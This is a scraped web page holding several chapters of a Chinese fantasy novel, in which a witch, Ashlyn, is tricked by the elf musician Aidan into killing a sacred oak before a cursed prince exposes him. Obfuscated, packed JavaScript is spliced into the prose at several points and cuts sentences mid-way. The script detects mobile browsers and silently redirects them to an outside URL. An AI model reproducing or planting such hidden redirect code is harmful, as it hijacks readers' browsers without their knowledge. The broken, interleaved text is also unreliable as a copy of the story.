他强迫自己起来,至少不要真的淹死在这儿——虽然这也没什么不好的。但如果他的讣告标题是“赫利安王子因雨中沉思而溺亡”,总归不大雅观。 现在是中场休息,让阿什琳用魔笛治愈神橡树的时刻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398010|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不管怎么说,他也得赶过去兜几眼,之后好好道个歉。 他们迟早要继续前行的,就算不是为了解除他身上的诅咒,也是为了阻止黑巫师得逞。 他已经想好了措辞:他是天底下最大的傻瓜、他就是个情感麻痹的智障、他的脑子大小和猫脑已经没有什么区别,他大脑发昏,被复杂的情感淹没了。 而她没做错什么,想要放松是正常的,她当然已经尽可能付出了一切…… 然而,所有这些话听起来都像是他在为自己辩护。 他还能做什么来挽回他们的友谊? 意识到自己好像失去了唯一一个真正的朋友,他的嘴里泛起苦涩的味道。 父王是对的,他什么也不是,就连最基本的教养都能在情感面前崩塌得一干二净。或许父王不让他交朋友是因为知道,以他糟糕的个性,本来也交不到朋友。 “王子不需要朋友,卢卡斯。”父王的话在他耳畔响起,“王子需要的是仆人,是骑士,是子民,是盟友,以及一个能够为家族带来利益的婚姻。” 就是这样,他从一开始就不该对“朋友”抱有希望。他对阿什琳来说只是众多朋友中的一粒沙罢了,而阿什琳对他而言也是旅途捆绑的搭子。 阿什琳也没说错,他和其他那些他自己都不喜欢的贵族毫无区别。 卢卡斯来到花园,没想到,守卫拦住了他。 “艾丹殿下禁止除贝利小姐以外的人或精灵前往神橡树。”他说。 雨依然在不停下落,卢卡斯感觉它们影响了他的听力。 “什么?为什么?” 守卫摇摇头。 “我不知道,这是命令。其他人的突然闯入可能会对治愈仪式造成风险。” 卢卡斯长叹一声。今天真是倒霉透顶。 哦,不能这么说。 本来可以是很不错的一天,是他亲手毁掉了所有美好。 他只好狼狈地蹲在一尊大理石膏像后避雨,打算观察这场伟大的仪式。 这尊雕像刻的是正在谢幕的演员,卢卡斯觉得对方石雕的脸上似乎带着嘲讽。 蹲下时,他碰到自己的口袋,这才想起雪豹给他的那封信。 他飞快地拆开信,试图将自己的思绪赶快塞在一点什么别的东西里,任何东西都行,只要和阿什琳·贝利无关。 信上的字迹优美流畅,是卢卡斯无比熟悉的字体,也是他从小就羡慕崇拜的字体。 亲爱的弟弟, 许久未见! 萨诺瓦前些天向父王和母后阐明了情况,当时他们接受得还不错,但我觉得他们现在越来越怀疑了。 卢卡斯,你们到底要出去多久?要不是梅莉娅突然联系我,我根本不知道你们竟然已经离开狄亚斯境内了! 你还真是个叛逆小子!常有人说我是“叛逆公主”,但我觉得其实你才是更离经叛道的那个——我早就该意识到咱们两个是多么不同,你还是和小时候一样热衷于解谜和冒险。 太阳神啊,幸亏梅莉娅陛下联系的是我而不是父王或母后,不然你们就要倒大霉了。快感谢她吧。 这不是我的重点。 重点是,卢卡斯,我虽然不知道你们旅程的具体内容,但已经意识到了其中的危险性。梅莉娅透露说,你们的下一个目的地可能是北方的兽人森林。 告诉你个小秘密:我们的猎魔人朋友,卡桑德拉,也有一部分兽人的熊人血统哦。她的全名是卡桑德拉·霍普,你们可以在那里找找她的家人,霍普们,看是否能获得帮助。 以及,我从她那儿听说了关于黑女巫信徒的事,我想我可以谅解为什么她和萨诺瓦没有第一时间上报给父王——倘若他知道了,很有可能会不分青红皂白地审查所有巫师,而你知道那样做的后果是什么。你们独自行动虽然危险,但从这点来看也是明智的。不过我真心建议你们在路上多结交一些靠谱的朋友。 接下来,我要求你至少每隔三天给我写一封信,用渡鸦传就行。我得确保你的平安。 最最重要的:别不小心死了,好吗?重新培养一个弟弟可太花精力了。 又及:关于阿什琳把你诅咒成猫的事,我的一位名叫维佳的朋友有一些有趣的见解,不过尚未定论。她不仅是个游侠,也是名出色的历史学家,脑回路也很是新奇,最大的问题是难以联系。我不知道她现在在哪儿,可能和你们一样也在境外。 总之,我的意思是,做事不要总是一根筋做到底,最后发现走投无路(你以前经常这样),要是你实在摸不着头脑,向你最亲爱的姐姐和姐姐的朋友求助不是什么羞耻的事哦。 爱你的, 伊莱恩 卢卡斯折起信,只觉得头脑更加混乱。 历史学家还能对他诅咒有别的见解? 他蹲在雕像后思索,直到听到阿什琳和艾丹的脚步声。 34.真相时刻 阿什琳像头饿疯的野狼似的在大雨中狂步地行进了好一会儿,然后才意识到自己的树叶伞没有对挡雨起到任何作用。 她浑身上下都湿透了,头发凌乱无章地散开,滴着水,裙子上的所有蝴蝶都在不知何时飞走,而她竟毫无发觉。 卢卡斯·德维尔就是一个自负又自私的混蛋,整个人连同他衣服上的猫毛一样惹人心烦。之前他身为人类时,尚且保留了几分风度;现在看来它们都不是真的。 她一边在心里咒骂,一边绕过花园中的雕像。 没错,他口含金勺出生,以为什么都是理所当然的。一个从树林里来的女巫当然要为他付出性命,并且在舞会上和他跳舞了! 嘿,他可是赫利安城的王子呢!他的事情肯定都是排在第一位的,女巫怎么胆敢在解除他的诅咒之前和别人跳舞放松,甚至想当冒险家?胆大包天!要不是这个女巫,他还安安心心地躺在皇家大床上,享受仆人们的伺候呢。 一切都因为她念错了一个词…… 她只是个女巫,只顾专心解咒赎罪就好啦,而他作为王子要考虑的事儿可多着呢。 对了,精灵大乐师也不可能喜欢一个女巫的,这太搞笑了,他肯定宁愿和自己的竖琴跳舞! 卢卡斯以为他是谁?王子就怎么样了吗?就因为她犯了一个错误,她就必须冒着生命危险并且无时无刻不陪伴他? 阿什琳越想越气,这才发现她其实已经走过了神橡树。 她连忙后退几步,艾丹正在树下等她,似乎对她坏了的雨伞早有预料,又递给她一把。 “是时候了。”他没有看向她,一直凝视着枯萎的橡树,“你没有忘记我那天教给你的乐谱,对吧?” “希望如此。”她心不在焉地说。 艾丹这时才注意到她的模样。 “和你的猫——或者乌鸦——吵架了?” 阿什琳讨厌他那轻松的语调,就好像这不值一提。“不关你事。” 艾丹伸出手作防御状:“只是关心一下。” 平心而论,阿什琳也没有多想和艾丹领舞,但她毕竟早就答应了。再说,跳舞算多大点儿事,以前在狐尾河湾她和米娅也经常一起跳着玩儿。但卢卡斯的意思就好像她没有选择的权利一样,这当然无法忍受。 她从空间背包中拿出诺卡利魔笛,站在神橡树正前方。 神树蕴涵的悲伤古老、庞大,一时间,显得她那点儿气愤如此孩子气。 羞愧像一片阴云将她笼罩了,但随后她又为这羞愧而自责。 生气又如何,她有权感到任何情绪,不是吗?就算和这棵树相比,微不足道,她也是可以为自己的事烦躁的。 她举起长笛。 “你真的准备好了吗?”艾丹确认,“不要让情绪影响你,阿什琳。这很重要。” “当然了。”阿什琳恼火地说,“我平静得很。” 艾丹扬起眉毛:“嗯……你确定?” “没错!”她提高音量,“我这就开始。瞧?完全准备好了。” 精灵张了张口,可能不想招惹她,便又闭上。 阿什琳闭上眼,回忆起那个夜晚,艾丹教给她的曲调。 雨明明比刚刚小了很多,雨滴声却莫名变得更大,冲散记忆中的音符。本就靠魔法速成的音乐记忆愈来愈微弱,她所能听到的,只有滴滴答答、滴滴答答、滴滴答答,循环往复,恶毒地嘲笑她。 “闭嘴!” 滴滴答答、滴滴答答、滴滴答答。 “我什么也没说。”艾丹很是无辜。 “没说你。” 阿什琳深吸一口气,重新摆好姿势,按住音孔。 想想树林,想想阳光,想想米娅。想想窗边的风铃草,院子里的向日葵,野地中的藏宝图。 黑巫师、奇美拉、三头犬、藤蔓雕像、死去的塔拉、森林女神的脸、死神…… “没有听我的警告……不要尝试……终将失败……终将误入歧途。终将挽救不了我的橡树——” “风让生命沟通,令灵魂流动,亦能释放黑暗——” 四种元素。四位神灵,四样物品。 四份礼物。 诅咒、染血的斗篷、猫的舞步、卢卡斯的面孔。苍白、扭曲,难过至极。 “就因为你的梦想是当一个旅行家,所以你享乐其中——” “从没仔细想过任何事,没想过别人的感受——” 她猛地睁开眼。 “你还好吧?”艾丹关切地问,“听着,如果你实在不在状态,我们也可以和梅莉娅商量,等天晴以后——” “我状态完美极了!”阿什琳大喊道,艾丹吓了一跳,“对不起。我是说,就……就先这样吧。我说到做到,请相信我,大人。” 是的,她就是不听女神的警告,她恶狠狠地想。西尔维娜说她无法治愈神树,拯救不了伊洛文亚? 不,她不会放弃,从来不会。 她承诺过要挽救精灵谷,说到做到。 神灵就知道一切吗?她活了十几年,连自己的亲生父母都不知道,如今神灵又自称是她的祖先来对她指手画脚了! 现在是怒火在扰乱她的心思,她需要平静下来。 排除杂念……和卢卡斯没什么关系,是的。 清脆的笛声响起,渐渐地盖过了雨声。艾丹的音乐魔法引领着她,好像深夜的长灯。 她找回了自己第一次迷恋上艾丹的音乐时的感受。 当时她十四岁,狐尾河湾领主请了一个小乐团为女儿庆生,也邀请平民参加。虽然不是艾丹本灵演奏,但那美丽的旋律完全捕获了她,携她至幽林深处。 她听得入迷,领主的桌子上生出歪歪扭扭的绿芽,都没有发现。后来萨诺瓦发现了她的小爱好,送给她乐谱,她爱不释手,虽然也不大会演奏,却如获至宝,收藏在她阁楼的地板格子里。 阿什琳抓住这点感受,将其不断放大。 这是艾丹亲自教给她的音乐,是她的过去,伊洛文亚的未来。 青绿色的旋律旋风一般环绕起神橡树,一层又一层,宛若城堡中的阶梯,但若隐若现,尚不稳定。 “就是这样!”艾丹鼓励道,“顺着这种感觉走,阿什琳!” 所有魔法使用者的魔力都有颜色,就像阿什琳的魔法是绿色,而艾丹的魔法是紫色。 此时,绿风跟着紫光,在笛音中有节奏地转动,和他们刚刚在舞厅时一样。 音乐有自己独立的时空,沉浸在音乐世界中的人和现实中的人相隔很远。 阿什琳不在神橡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413679|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树前了,她回到森林里。 起先,她以为这里是狐尾河湾的白蜡树林,但很快便意识到这些树不是白蜡树,而是柏树和松树。 这是伊洛文亚山后的森林。 阿什琳后背泛起一阵凉意,她对这儿的印象可称不上有多好,为什么艾丹的魔法会引领他到这里? 林间迷雾缭绕,危机四伏。阿什琳音乐的力量感减弱,染上一丝不确定,错了几个音。 “没关系,继续向前。”艾丹柔和的声音道,“按照我教你的。” 她顺着林间小道前行,手指位置换个不停,努力保持笛声的节奏。 接着,她看到什么东西。 一个泥砖砌成的入口,诡异地立在林间空地中央——先前三头犬躺着的位置。 它与整片树林的环境格格不入,没有空间,只是一堵墙上开了个门框。 阿什琳不愿再往前,笛声变得断断续续。她定是气出幻觉才会在音乐里看到这种说不清道不明的东西。 也许今天她的确状态不佳。她应该和卢卡斯好好谈谈,之后等天晴再来一遍。 他们两个都不再是小孩了,为舞会之类的小事一直过不去无论从哪个角度来说都蛮可笑。 就当她决定放弃时,艾丹却扶上她的肩膀。阿什琳突然有种奇怪的感觉,好像身上多了什么东西。 “快到了。”他确信道,“让音乐穿过那道门,神橡树的病就能被治好。不要退缩。” 这句话又动摇了她的念头。 她已经做到这一步,为何不再向前呢? 于是她鼓足劲儿,继续演奏,在魔法幻境中冲进那个莫名其妙的入口,音乐终于闯入最后的高潮,激烈、急促。 一股炙热的明亮将她包围,如同夏天的热浪。 她成功了。 她治好了神橡树。 阿什琳心中涌起温暖的希望,迫不及待地睁开眼。 雨淅淅沥沥,停了。 白光褪去,露出那棵橡树。它不再像之前那样枯萎,而是翠绿挺拔。 “我……我做到了。”阿什琳欣喜地说,“我真的做到了。” 她笑着望向艾丹,精灵大乐师脸上却没有任何表情。 阿什琳不禁怀疑自己看花了眼,反复确认橡树是否真的恢复了生机。 “艾丹?出什么事了吗?” 艾丹还没有回应,某种巨大的声响却刺穿阿什琳的双耳,好像天幕被巨人的剪刀划开。 她惊恐地回过头,屏住呼吸。 怎么可能?是她的怒气干的吗? 神橡树的所有枝叶正在以有史以来最快的速度枯萎,绿色褪去,落叶凋零,树干乌黑,似乎爬满害虫。 浓浓的黑烟从橡树中心慢悠悠地生出来,像有毒气体一般扩散。 黑烟里,隐隐夹杂着几缕紫光。 艾丹上前一步,抚摸着树干,然后转过身来。 枯树遮住月光,在他背后如同巨鹿之角。 他的眼睛藏在眉骨的阴影里,模糊不清,嘴角慢慢向上扬起。 啪、啪、啪。他鼓起了掌。 “恭喜你,贝利小姐。”他一如既往地用那轻柔的、音乐般的语调说,仿佛这只是一场音乐会的尾声,“你终于,彻底摧毁了神橡树。” 35.除旧迎新 雨过天晴的夜空中还弥漫着水雾,满月比平日更加明亮。 阿什琳无法呼吸,后退几步,浑身的血液都变得冰凉。 她身后的雕像发出一些奇怪的声音,似乎有人微微喘气,低语了一句什么,但她顾不得管。 “你在说什么?” “啊,很好理解。”艾丹轻快地说,“你记下的乐谱是我写好的,魔法也是我引领的,所以你没意识到也很正常。” 他围着死去的橡树转起圈,欣赏着他们的“杰作”。“不得不说,这枯萎效果比我想得更有美感。” 阿什琳后退几步。“你疯了。” “记得我说我们的相遇是命中注定吗?我没说错,你是在我最需要的时候出现的。”艾丹说,“我自己一个精灵没法完成这件事,只有加上森林之子的帮助,才能成功。” “不可能,你——” “是啊,我尝试过。魔笛是我拿去的,不是塔拉。骑士长只是抓住了我,因为我的确打破了某些魔法结界。为了堵住她的嘴,我只好做了桩大胆的交易:帮我保密,换取她母亲的复活。真可惜我当时没有随身备着点遗忘药水,可以说是失算了。 “当然啦,三头犬是意料之外的,我知道它会惩戒罪者,也知道保护层会防止黑暗生物的进入,却没想到你在星月晚会上的魔法会那么强大,以至于冲破了保护层。” 阿什琳咬紧牙,精灵骑士死去的模样历历在目,鲜血的味道直到现在还环绕在她口鼻。 “是你害死了塔拉。你还说你们是朋友。” 艾丹垂下头,好像很哀伤。 “是我的错,我从未想过让她死……不过,为了大局,有些东西是可以牺牲的,比如朋友,比如原则,再比如……嗯,通常就是这类东西。” “我不——我不明白。”阿什琳晕头转向,“‘诺卡利’的意思是生命。为什么会杀死橡树——” “光明可以消散,河流可以干涸,生命可以逝去。”艾丹说,“魔笛,一把双刃剑。既能治愈,也能毁灭,纯看你如何使用。死神真是给了我们一项伟大的礼物!” “可是——你为什么要——” “——摧毁神橡树?”艾丹说,“我想你其实是知道的。那天夜里,其实我已经告诉你了。” 他当时是怎么说的? 它的枯萎不是终点,而是开始。 “你……你觉得精灵们太依赖神橡树了。”阿什琳猜测,“所有精灵都以为魔法来自于神橡树,但你知道它其实来自于创作本身。你认为,只有毁掉神橡树,精灵的艺术才能得到解脱。” 艾丹露出欣慰的笑容。 “想要创造新生,必先斩除旧根。我就知道你能理解的。” 不是这样的,阿什琳心想。 神橡树是精灵们的信仰,寄托了他们的传统与希望,也是森林女神给予的生命。 是的,它可以随着时间渐渐老去,养分滋润出新的生命,但它不能粗暴地被斩除。 这是不自然的,会迎来报应的。 魔笛依然在阿什琳手里。如果她现在就对着艾丹吹点什么毁灭小曲儿呢?她有这个能耐吗? 好像看穿了阿什琳的心思,艾丹几乎是腼腆地一笑。 “很可惜,只有我知道怎么谱写毁灭的乐章。你以为我的大乐师称号只是称号吗?我的音乐是真实的,魔法也是真实的——永远不要小瞧音乐的力量。只要写出合适的曲调,我就能将埃多洛迷宫的古代魔法引入橡树。” 阿什琳想起了刚刚在音乐中看到的那个入口,现在她明白了。 那是埃多洛迷宫的入口。 “黑魔法。”她握紧拳头,“你,精灵王子……你怎么能让迷宫的黑魔法进入伊洛文亚?” 艾丹轻轻笑了,似乎阿什琳是他一个好问的学生。 “何为黑,何又为白?别总用非黑即白的眼光看世界,不如试试高级灰。埃多洛迷宫中关押着你做梦也想象不到的力量,而这力量,恰恰是伊洛文亚复兴的关键。 “辛西娅的时代,是伟大的时代,是自由的时代,是艺术的时代,是创造的时代……在那时,精灵们无拘无束。我们会共同带来这个时代。” 阿什琳不敢相信这是真实的。她刚与一个自大狂王子吵完架,现在又发现另一个王子其实是想复兴黑魔法的神经病。 这世界上所有王子都不是正常人吗?等旅程结束后,她绝对再也不和任何种族的王子打交道了。也许她该出版一本王子避雷指南。 艾丹利用了她,而为此他一直在说谎,甚至假装迷恋与爱慕她。从头到尾,她都只是他那疯狂棋局中的棋子,唯一的功用就是替他摧毁伊洛文亚最古老的魔法。而她曾经竟然那样崇拜他,被他的音乐、他的声音、他的优雅折服。 先前好不容易被驱散的愤怒又涌了回来,她感觉自己是一棵熊熊燃烧的巨树,魔力在血管中迅猛冲涌,简直下一秒就要刺破皮肤。 上一次她有类似的感觉时,还是在昨日酒馆营救被捆绑的卢卡斯,她因担心王子的死活而恐惧、气愤。 但这回不一样,这回更激烈。 她甚至觉得,只要她想,随时都可以把眼前这个表情如同看演出一般的精灵撕碎。 “你是不是忘了什么?”她问道,“我们身处花园之中。” 她聚集起满满的怒火,试着让蔷薇花丛的荆棘攻击艾丹。 来吧,她在心中大吼,是时候让他认识到森林之血的力量了。她不是任人摆布的棋子,她是森林。 然而,荆棘却纹丝不动。 “嘿,你怎么怎么回事?”她恼火地问,当然荆棘不会回复。 她又试了几次,结果只是绝望地盯着自己的双手。 “啊,对了,我刚刚在音乐里顺便把你的森林魔法也短暂地压抑了。不用谢。” 她这才注意到,她周身都和神橡树一样闪烁着一点紫光,那是艾丹的魔法束缚着她。 “你这个卑鄙无耻的——”她发现自己找不出什么强有力的脏话,这是她下一步应该提升的技能之一,“骗子,小人,黑巫师!” 艾丹耸耸肩。 “或许吧,但值得一试。在目睹了伊洛文亚这么大的变化后,我知道必须有精灵做出改变。你可以想象吗,阿什琳?日复一日,年复一年,生活在循环的日子里,做循环的作品? “自从失去克里夫后,梅莉娅的统治就已经衰败了,灵感没有了源泉,创造不复存在。我曾一度陷入绝望……直到我终于,找到了他。” 他仰起头,眼眸古怪地闪烁着紫色的光。 阿什琳想趁机把魔笛扔进空间背包,艾丹却看透了她的想法,懒洋洋地一挥手。 紫色的烟雾让魔笛立刻飞到他脚边,被他捡起。 “哎呀,怎么这么没有耐心?”他又换上一副无辜的表情,“通常在这种时候,你这样正义的小女孩都会让‘反派’把话讲完呢。” 阿什琳厌恶地摇了摇头,难以想象自己曾经喜欢这个家伙。以后追星真的得注意一点儿了,至少得确保偶像没有绑架粉丝或毁灭世界的爱好。 他为什么能这样轻而易举地牺牲自己的朋友,为了某个压根不存在的时代,为了空虚的所谓的艺术? “我对你那无聊的故事一点兴趣也没有。想知道我的看法吗?你以后可千万别当剧作家,不然观众都得睡着了。”她恶狠狠道。 “我不过是个想要重获新生的艺术家。” “你称不上反派,更别提艺术家了——你就是个疯子。” “疯子?那叫先驱者。历史上所有伟人在成功之前都被你们这种人称作疯子。” 她想要逃跑,却感到魔法收紧了,自己动弹不得,只能徒劳挣扎。 艾丹凑近了些,阿什琳感到更恶心了。 “想听听我的建议吗?安静听我说,或许你还有机会。刚刚说到哪儿了?对,我找到了……那个人类孩子。叫诺克斯,对吧?” 阿什琳呼吸暂停。 “不。” “这么说你听说过他,真是太好了。”艾丹似乎真心为她高兴,“实际上,我想我写的音乐太强大了,召唤了他,还给了他一些多余的、属于精灵的青春……本来我是想释放辛西娅的,当然那难度有点儿大。 “我不知道诺克斯具体是打哪儿来的,不过召唤出黑暗女巫古老的信徒,真是惊喜啊。他告诉了我不少关于迷宫的有趣知识。” 诺克斯不是这个时代的人,他被艾丹的音乐赋予了青春,这就是为什么他在二十年前还能见到巨龙爱苏萨,给她幻化药水。 这是条有用的信息,阿什琳在脑中记上一笔。 但很快她便意识到,此时艾丹正在将他的故事与阴谋全盘托出,明显是觉得,她会带着他的秘密进入坟墓。这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但在这么一个家伙身上浪费魔法完全不值得,她的魔法是会消耗能量的。不能让酒管事件重蹈。 最后她只是伸出手,荆棘为她让出小小的开口。 “现在,把魔笛还给我。” “很好的尝试,”就算是在笼子里,天鹅也波澜不惊,“可惜都是无用功,你很快就会忘了这一切。” “我记性没那么差。” “是啊,但喝了遗忘药水后就不一定了。”艾丹笑道,“请原谅,我在你的葡萄酒里动了点手脚。再过几分钟,你就会忘记喝下那杯酒之后的所有事。” 阿什琳一阵反胃。 “遗忘药水?” 艾丹怎么会配魔药? 就连她,一个从小跟着国家级治疗巫师学习草药的女巫,也不会配遗忘药水。 接着,一个动作从她脑海中一闪而过。 塔拉的家,艾丹的手,塞提尔落在柜子上的药剂瓶。 她还没有开始遗忘,艾丹的确从塞提尔的药品中拿了什么。 “不错,会配遗忘药水的精灵不多了,但塞提尔是个出色的医师。”艾丹读着她的眼神,“很快,除了我,没有人会知道神橡树真正的死因,也没有人会知道,你到哪里去了。 “实际上,我会悲伤地告诉他们,你的魔法失败了,与神橡树同归于尽。之后,伊洛文亚将在我与诺克斯的带领下,彻底迎来新的曙光。” “您确定吗?” 一个清晰又熟悉的声音从他们身后传来。 卢卡斯从雕像绕出来,整个人看起来和刚才一样狼狈,衣服不仅没干透,猫毛也没掉。 月光之下,微风拂过,漆黑的卷发被凌乱地吹散了,露出他倦怠又英俊的面孔。 然而再多疲惫与狼藉也无法掩盖他一贯拥有的气质。他眉毛上挑,脸上挂着一丝狡黠的微笑,好像刚刚给整个世界开了一场巨大的玩笑。 艾丹僵在笼子里。 “永远不要忘了抬头看看月亮啊,大人。” 人类王子说着,手指向夜空。 黑幕之中,银白色的圆月周围,是一道月光彩虹。 彩虹上,是梅莉娅陛下错愕的面孔。 36.另一张画 “抱歉打断您的独白,大人。不过或许您没注意到,女王陛下正在从彩虹通讯在线观看呢。”卢卡斯慢悠悠地说,“梅莉娅陛下,如您所见,您的弟弟已将真相一五一十地呈现给大家了。” “艾丹,”梅莉娅不可置信道,“这是真的?你怎么能摧毁我们族人数百年的传统?” 艾丹的脸扭曲起来。“传统扼杀了我们的灵感,梅莉娅!你太过悲伤,看不清这一点!” 彩虹中传来另一个精灵的声音。 “呃,陛下,需要我……啊,去叫卫兵吗?这……好像挺严重啊。” “废话,泽兰。”梅莉娅恼火地说,“现在就给我去花园。” 彩虹消失了,卢卡斯转向艾丹,笑容不见踪影。 “请告诉我们怎么解除遗忘药水的效果。”他的语气罕见地冰凉。 “当然,”艾丹迅速认清现状,“前提是放了我。” “异想天开。”阿什琳立刻道,“等着进地牢吧,大乐师。” 艾丹耸耸肩。 “那好吧,还有五分钟你就会失忆了。” 这句话之后,他们三个陷入了一种诡异又尴尬的氛围,只能等待其他精灵到来。艾丹跪在笼子里,却看不出什么被挫败的迹象。也许他还有别的计划,阿什琳心想,可无论怎样他现在都被束缚住了。 “听着,阿什琳。”卢卡斯深吸一口气,“之前的话……我很抱歉。我被冲昏了头脑。” 阿什琳没有看他。 “你什么也不用说,马上我就都忘了。” “你不会忘的。有什么记不清的可以问任何别的精灵,毕竟咱们刚才吵得如此激烈,整个精灵谷都听见了。” 阿什琳这下看向他了,表情严肃。 “开玩笑。我只是想缓和一下气氛。”卢卡斯赶紧说。 “哈哈,非常好笑。” “我想说的是,如果你忘了,可以用魔法共享我们的记忆。”卢卡斯犹豫一下,接下来的话说得比顺口溜还要快,“阿什琳,我是个自私自利、不知感恩的幼稚鬼,以为你的陪伴是天经地义,实际上你完全可以和任何人或精灵去舞会,也没有必要为了我出生入死,就算我真的变成猫了也不能怪你。 “非常抱歉我说了那些伤人的话,如果你不原谅我或者决定不再帮我,我完全可以理解。请回去找萨诺瓦,我会自己前往北方。” 阿什琳瞪着他,被最后两句话震惊得说不出话。 他不是认真的吧? 这么久了,他应该知道,她不是会随意放弃的人。一瞬间,她又觉得火大:他竟然以为她会让他一个人去北方——她不是已经表明了她会一路走到底吗?而且,她怎么可能错过去见兽人的机会,她最喜欢带毛的东西了。 卢卡斯那双天蓝色的眼睛诚恳地望着她,嘴抿成一条线,手不断把刚变得干燥一点的前发撩到后面。 阿什琳真担心,他再撩头发就要和尼古拉斯二世一样秃顶了。 真是个傻瓜。 她一时分神,放松了对荆棘的控制。 艾丹趁机扒开植物,不顾划伤,向花园的反方向跑去。 他当然知道,想要对抗森林魔法,一定要离大自然远一点儿——现在他周围没有植物了。 阿什琳和卢卡斯拔腿就追,问题是,他们两个都很难说是体育健将,而阿什琳的长裙显然也不是为追赶罪犯设计的。 没过多久两人就累得不行,大口喘息。 她看着身前卢卡斯的蓝色披风,突然停下来,一把拽住他。 “怎么?”卢卡斯紧张地看了看跑远的艾丹,又看向她,“别让那家伙跑了——” 阿什琳没说话,直接使劲儿将他的披风扯了下来。 “嗷!这是借的!虽然是艾丹的,但梅莉娅警告过关于赔偿费的事——” 她没理他,将披风对准艾丹的背影,狠狠一扔,并附赠一句风元素的咒语。 披风像一张蓝色捕鸟网一样,精准地落在艾丹的脸上。 精灵大乐师猛然停下,抖下披风,猫毛已经开始起作用。 他打起喷嚏,抽了抽鼻子。可惜就算过敏,他也能坚持跑步,也许精灵们每天有着保持体育锻炼的好习惯。 披风上的猫毛毕竟和真正的猫有所区别,不像先前与三头犬搏斗时对他产生那么大影响。他们追上去,却依然没来得及抓住他。 艾丹抹了把眼泪,身影逐渐消失在了黑暗中。 然而猫毛的确拖累了他的速度,至少他被骑士们逮到的概率增大了。 “把他交给梅莉娅吧。”卢卡斯说,“他又能跑到哪里去呢?现在整个伊洛文亚都知道他的计划了,全城的骑士都在搜罗他,逃跑无异于自欺欺人。” “但是我见识过艾丹的音乐魔法了,魔笛也还在他手上,他还有机会做出别的举动。”阿什琳皱眉道,“比如说——” “比如说?” 这时,阿什琳突然觉得有些迷茫。 她和卢卡斯站在这儿干什么?上一秒,她还在宴会大厅喝酒呢。 “阿什琳,”卢卡斯焦急地说,拉住她的手,“快对我们使用记忆共享咒。” “什么?” “没时间了,快!” 她只好照做。这回,她从卢卡斯的视角又得知了整个事情经过。 记忆共享算是心灵魔法中比较客观的一种,她无法知晓卢卡斯的心理,只是从他的记忆中明白事情发生的经过。 卢卡斯蹲在雕像后面,在艾丹揭露一切之前便利用月光彩虹低声联系了梅莉娅,并告诉她在得知全部真相之前,先不要轻举妄动,以免打草惊蛇。 彩虹通讯的画面是模糊的,但声音一清二楚;梅莉娅什么都没落下。艾丹说的每个字,她都听见了。 “你刚刚正在试图告诉艾丹还能做什么。”卢卡斯提醒。 阿什琳拍了拍腿。 “对!诺克斯!他和诺克斯是盟友,记得吗?” “那么这是艾丹唯一的出路。”卢卡斯说,“联系诺克斯。你觉得他们会怎么联系?文字传输咒?” 他们对视一眼,那么信纸肯定在艾丹的房间。 艾丹的音乐有魔法,现在手里还有魔笛,或许他无法打败梅莉娅的所有部下,但绕过几个守卫进入自己的房间并非不可能。 他不住在主殿,而是在水晶塔旁边的另一座小宫殿里,梅莉娅的精灵需要花一阵时间才能赶到。 目前,他们说不准艾丹知不知道诺克斯也在寻找魔笛,但等梅莉娅在他的房间抓住他时,很可能诺克斯便已知晓一切。 阿什琳和卢卡斯来到艾丹的住处,毫不意外地发现路上所有守卫都倒在地上,昏昏大睡,鼾声连连。 艾丹把他们都催眠了。 门上了锁,但毫无用处。 因为,那是一扇木门。 所有以植物为原材料的东西,对阿什琳来说都是帮助。 一想到艾丹,这个大名鼎鼎的偶像,竟然骗了她这么久,还声称自己迷恋她,并与她共舞,阿什琳不禁怒火满腔。 他们辛辛苦苦一路赶来,甚至有精灵死去,到头来却把所有时间都浪费在一个因丢了灵感而丧心病狂的乐师身上。 她这辈子还从未认识过这样厚颜无耻的人——或精灵——呸,管他呢! 她眼中绿光一闪,木门便应她意念炸飞,木片洒满地面,连卢卡斯都被惊得一跳。 “你还真是位开锁大师。”卢卡斯望着木屑,语气讽刺,“这下艾丹肯定不知道我们来了。” “闭嘴。” “好的。”他反应迅速。 鉴于开门开得太炸裂,他们一点儿也没有试图掩盖进屋的动静,大摇大摆地闯了进来。 银发精灵正对着书桌前的几张纸,若有所思。 “走投无路了,大人?”阿什琳说着,让窗台上所有盆栽都冲艾丹生长,“听我的,把魔笛还给我,好好回主殿和姐姐叙叙旧吧。” 他们完全处在上风:阿什琳的魔法植物速度极快,操控也比以前精准多了,而艾丹若想用音乐打败她,恐怕还得演奏一会儿。想要控制他轻而易举。 艾丹却像没看见他们一样,专注地望着书桌。 “七、十七、七十……”他用一种梦幻的语调说着,“无论哪种七,都是充满了魔力,不是吗?” “啊,也许他终于彻底疯了。”卢卡斯耸耸肩,“直接拿下他吧,阿什琳。” 阿什琳点点头,植物立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 